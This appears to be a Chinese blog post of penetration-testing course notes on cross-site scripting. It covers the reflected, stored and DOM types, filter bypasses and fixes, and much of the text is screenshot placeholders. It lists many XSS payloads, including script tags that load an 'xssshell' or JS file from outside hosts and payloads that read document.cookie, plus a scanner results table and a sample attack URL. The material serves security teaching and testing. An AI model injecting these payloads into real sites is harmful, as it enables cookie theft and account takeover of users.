Web渗透测试-Xss跨站脚本攻击(Cross Site Scripting)

Xss跨站脚本攻击

第一章：XSS基础
第二章： XSS实战与防御机制绕过
第三章：XSS高级

 浅谈XSS漏洞挖掘  https://mp.weixin.qq.com/s/6oT63IxXodWte3WLw-zKRw

有输入的地方就试试，对可以触发XSS的地方做总结


输入即输出
对用户的输入在没有进行任何过滤的情况下进行了输出。
输出报错信息的时候直接把用户输入的内容直接进行了输出。
猜想可能由于现在对信息安全的重视，涉及到业务方面的输入数据的过滤编码已经很成熟，
对一些错误信息的输出可能重视还不够大。

该漏洞的触发就是在返回错误信息的时候回返回方法名，这个方法名攻击者可以自己定义，导致触发了XSS漏洞
在返回错误信息的时候回返回参数


 FUZZ参数触发XSS

 XSS（跨站脚本）概述
Cross-Site Scripting 简称为“CSS”，
为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。
一般XSS可以分为如下几种常见类型：
 1.反射性XSS;
 2.存储型XSS; 
3.DOM型XSS;


XSS漏洞一直被评估为web漏洞中危害较大的漏洞，
在OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在前端浏览器端的漏洞，所以其危害的对象也是前端用户。

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理，
导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上，
一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理: 

输入过滤：对输入进行过滤，不允许可能导致XSS攻击的字符输入; 
输出转义：根据输出点的位置对输出到前端的内容进行适当转义;

 

"'><textarea+autofocus+onfocus=alert(45)>
 <iframe/src=JavaScriPt:alert(45)>
 <script>alert(aming)</script>

<script src=”http://192.168.1.19/xssshell.jsp?v=336699″></script>
><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert(‘XSS’)</script>
<img src=”javascript:alert(‘XSS’)”>
<script>alert(‘Vulnerable’)</script>
<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<SCRIPT a=”>” SRC=”http://xxxx/a.js”></SCRIPT>
<SCRIPT =”>” SRC=”http://xxxxx/a.js”></SCRIPT>
<SCRIPT a=”>” ” SRC=”http://xxxxx/a.js”></SCRIPT>
<SCRIPT “a=’>’” SRC=”http://xxxxx/a.js”></SCRIPT>



<img src=x onerror=alert(45)>
<svg/onload=alert(45)> 
<script>alert(45)</script>
<img/src onerror=alert(45)>
"><iframe/src=JavaScriPt:alert(45)>
<video/poster/onerror=alert(45)> 
<audio src onloadstart=alert(45)>
<meter onmouseover=alert(45)>0</meter>
<marquee onstart=alert(45)>
<select autofocus onfocus=alert(45)>
<input autofocus onfocus=alert(45)>
<keygen autofocus onfocus=alert(45)>
<textarea autofocus onfocus=alert(45)>
  

<original query>
onhwul=64 
<svg/onload=alert(45)>                 | reflected XSS Code              |
<script>alert(45)</script>             | reflected XSS Code              |
| 9  | HIGH   | XSS             | GET    | type  | <marquee onstart=alert(45)>            | reflected HTML5 XSS Code        |
| 10 | HIGH   | XSS             | GET    | type  | <meter onmouseover=alert(45)>0</meter> | reflected HTML5 XSS Code        |
| 11 | HIGH   | XSS             | GET    | type  | <audio src onloadstart=alert(45)>      | reflected HTML5 XSS Code        |
| 12 | HIGH   | XSS             | GET    | type  | "><iframe/src=JavaScriPt:alert(45)>    | reflected XSS Code              |
| 13 | HIGH   | XSS             | GET    | type  | <video/poster/onerror=alert(45)>       | reflected HTML5 XSS Code        |
| 14 | HIGH   | XSS             | GET    | type  | <img/src onerror=alert(45)>            | reflected XSS Code              |
| 15 | HIGH   | XSS             | GET    | type  | <input autofocus onfocus=alert(45)>    | reflected onfocus XSS Code      |
| 16 | HIGH   | XSS             | GET    | type  | <keygen autofocus onfocus=alert(45)>   | reflected onfocus XSS Code      |
| 17 | HIGH   | XSS             | GET    | type  | <select autofocus onfocus=alert(45)>   | reflected onfocus XSS Code      |
<textarea autofocus onfocus=alert(45)> | reflected onfocus XSS Code      |



http://www.xxxx.com/tool/search.php?
title=88952634
&mod=main
&file=html
&action=index"'><textarea+autofocus+onfocus=alert(45)>
&dosubmit=1

Xss通用明文 &&表单劫持

在这里插入图片描述

跨站脚本攻击漏洞概念，
漏洞原理和危害，
掌握反射型、存储型XSS漏洞利用方法

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

web安全工程师-03-XSS漏洞原理与利用

在这里插入图片描述

第一章：XSS基础

1.1 XSS介绍与原理~1

在这里插入图片描述

 打cookie 
 xss + csrf   getshell

在这里插入图片描述

 用来攻击  使用浏览器 打开这个 页面的 用户  
 获取cookie    正常用户/管理员 权限

在这里插入图片描述

反射型  - 非存储型 

通常  xss 代码  Payload （js）  通过 get 某个参数 传入   后端 
没有经过 存储    直接反射回   用户页面 （html）上

在这里插入图片描述

  存储型
  payload  存   在某一介质 （数据库、缓存、文件）

用户 查看这个页面时    展示 页面  取出数据 时  执行

在这里插入图片描述

 跟反射型类似
 但接受者 不再是  后端程序    而是 js 拿到参数  直接  在页面 显示

在这里插入图片描述

  html 实体编码  大多数 管用
    
  白名单  发表文章  富文本  过滤掉  js代码   或者  涉及非法的属性
  只div  a  p b  标签    
  排除onError、onLoad  事件属性 
  只 src  
  黑名单 可能会绕过
  
  xss 业务场景   对症 
  反射  get 输入    script代码块 输出

在这里插入图片描述

xss 流程
payload 构造
验证
修复
xss 高阶 新用法
xss持久化
xss系列

1.2 存储型XSS实战

在这里插入图片描述

被实体转义

在这里插入图片描述

在这里插入图片描述

我日我自己

在这里插入图片描述

在这里插入图片描述

用户登录凭证

换个用户登录

盗取cookie

 怎么修复

在这里插入图片描述

看数据库中可控字段

1.3 反射型XSS实战

在这里插入图片描述

通过 url 参数传入恶意代码

在这里插入图片描述

在这里插入图片描述

value 闭合掉

在这里插入图片描述

反射型修复

在这里插入图片描述

orm 模型查询

在这里插入图片描述

刚才访问页面自动给焦点就会一直触发

在这里插入图片描述

语法

闭合

或者属性弹窗

在这里插入图片描述

html 实体转义掉

在这里插入图片描述

1.4 DOM型XSS实战

在这里插入图片描述

js 实现

在这里插入图片描述

dom型不一定是 url 传过来的参数

在这里插入图片描述

1.5 XSS辅助测试工具

在这里插入图片描述

绕过

在这里插入图片描述

第二章： XSS实战与防御机制绕过

2.1 存储型XSS多场景实战及Bypass详解

在这里插入图片描述

全局配置文件

在这里插入图片描述

在这里插入图片描述

去掉空格截断函数

在这里插入图片描述

在这里插入图片描述

反斜杠处理

在这里插入图片描述

处理编码问题

在这里插入图片描述

数据展示的类

在这里插入图片描述

实体转义标签防止执行

在这里插入图片描述

输入没做处理

在这里插入图片描述

输出做了处理没做完全

在这里插入图片描述

修复实体转义

在这里插入图片描述

编写 payload

在这里插入图片描述

长度限制添加注释

在这里插入图片描述

注释闭合网页标签

在这里插入图片描述

在这里插入图片描述

dom节点

在这里插入图片描述

多段提交

注释执行

多点限制加密编码

取值得值谨慎

2.3 反射型XSS多场景实战及Bypass详解~1

在这里插入图片描述

插件漏洞

在这里插入图片描述

payload 多次 url 编码

在这里插入图片描述

浏览器默认解码一次 url编码

在这里插入图片描述

2.4 DOM型XSS多场景实战及Bypass详解~1

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

存储 + DOM

在这里插入图片描述

漏洞分析 + 挖掘

第三章：XSS高级

原文链接：https://blog.csdn.net/qq_33608000/article/details/122742733

Xss跨站脚本攻击

Xss通用明文 &&表单劫持

跨站脚本攻击漏洞概念，

漏洞原理和危害，

掌握反射型、存储型XSS漏洞利用方法

web安全工程师-03-XSS漏洞原理与利用

第一章：XSS基础

1.1 XSS介绍与原理~1

1.2 存储型XSS实战

1.3 反射型XSS实战

1.4 DOM型XSS实战

1.5 XSS辅助测试工具

第二章： XSS实战与防御机制绕过

2.1 存储型XSS多场景实战及Bypass详解

2.3 反射型XSS多场景实战及Bypass详解~1

payload 多次 url 编码

2.4 DOM型XSS多场景实战及Bypass详解~1

第三章：XSS高级

你可能也喜欢